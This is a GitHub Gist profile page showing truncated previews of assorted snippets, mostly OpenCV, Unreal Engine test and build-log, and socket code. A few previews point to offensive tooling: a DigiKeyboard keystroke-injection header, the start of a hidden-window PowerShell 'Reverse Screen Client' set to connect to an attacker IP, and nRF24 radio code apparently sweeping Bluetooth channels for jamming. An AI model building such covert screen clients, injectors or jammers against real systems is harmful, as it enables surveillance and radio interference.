Skip to content

Instantly share code, notes, and snippets.

View zr0n's full-sized avatar

Luiz Fernando zr0n

View GitHub Profile
#include "DigiKeyboard.h"
// Teclas universais (códigos HID)
#define KEY_MINUS 45
#define KEY_SLASH 56
#define KEY_SPACE 44
#define KEY_COLON 33 // Shift + ;
#define KEY_TAB 43
//#define KEY_SLASH 0x38 // Código físico para tecla '/'
#define KEY_BACKSLASH 0x31
# Configurações do Servidor (Atacante)
$serverIP = "192.168.0.47" # Substituir pelo IP do servidor
$serverPort = 8082
# Ocultar a janela do console (1 = sim)
$hide = 1
[Console]::BackgroundColor = "Black"
Clear-Host
[Console]::Title = "Reverse Screen Client"
#include <opencv2/opencv.hpp>
#include <vector>
#include <random>
using namespace cv;
using namespace std;
// Função para calcular o campo de velocidade (exemplo: vórtice)
Point2f calculateVelocity(Point2f pos, Size imgSize) {
// Centralizar coordenadas
#include <opencv2/opencv.hpp>
#include <X11/Xlib.h>
using namespace cv;
using namespace std;
// ======================
// Optimized Settings
// ======================
#define PROCESS_WIDTH 320
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#define CE_PIN_1 7 // Primeiro rádio
#define CSN_PIN_1 8
#define CE_PIN_2 9 // Segundo rádio
#define CSN_PIN_2 10
const uint8_t BLUETOOTH_CHANNELS[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
import time
from RF24 import RF24, RF24_PA_LOW
radio = RF24(22, 8) # CE=GPIO22, CSN=GPIO8
radio.begin()
radio.setDataRate(RF24.BR_2MBPS)
radio.setPALevel(RF24_PA_LOW)
radio.setAutoAck(False)
radio.setCRCLength(RF24.CRC_DISABLED) # Desativa CRC para maior velocidade
@zr0n
zr0n / Play And Pause Cosm Test.cpp
Created February 13, 2025 20:28
Play And Pause Cosm Test.cpp
IMPLEMENT_SIMPLE_AUTOMATION_TEST(FCxEnvPropVideoPlayAndPauseTest, "Plugins.CXProRuntimeCore.VideoCore.EnvPropVideo.Play", EAutomationTestFlags::EditorContext | EAutomationTestFlags::ProductFilter)
bool FCxEnvPropVideoPlayAndPauseTest::RunTest(const FString& Parameters)
{
// Test setting the environment property for Volume
{
UWorld* World = nullptr;
UTestGameInstance* GameInstance = nullptr;
CXTestHelper::InitWorldAndGameInstance(World, GameInstance);
CONSOLE: Use build tool: C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\UnrealBuildTool\UnrealBuildTool.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.Build\EpicGames.Build.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.Core\EpicGames.Core.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.Horde\EpicGames.Horde.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.IoHash\EpicGames.IoHash.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.OIDC\EpicGames.OIDC.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.Serialization\EpicGames.Serialization.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.UBA\EpicGames.UBA.csproj
7:34:13 PM Building F:\UE_5.4\Engine\Source\Programs\Shared\EpicGames.UHT\EpicGames.UHT.csproj
#include "ldlidar_driver.h"
#include <iostream>
#include <cstring>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <pigpio.h>
const int PORT = 8080;
const int BUFFER_SIZE = 1024;
import socket
SERVER_HOST = "127.0.0.1" # Endereço do servidor C++
SERVER_PORT = 8080 # Porta do servidor C++
# Criação do socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexão ao servidor C++
client_socket.connect((SERVER_HOST, SERVER_PORT))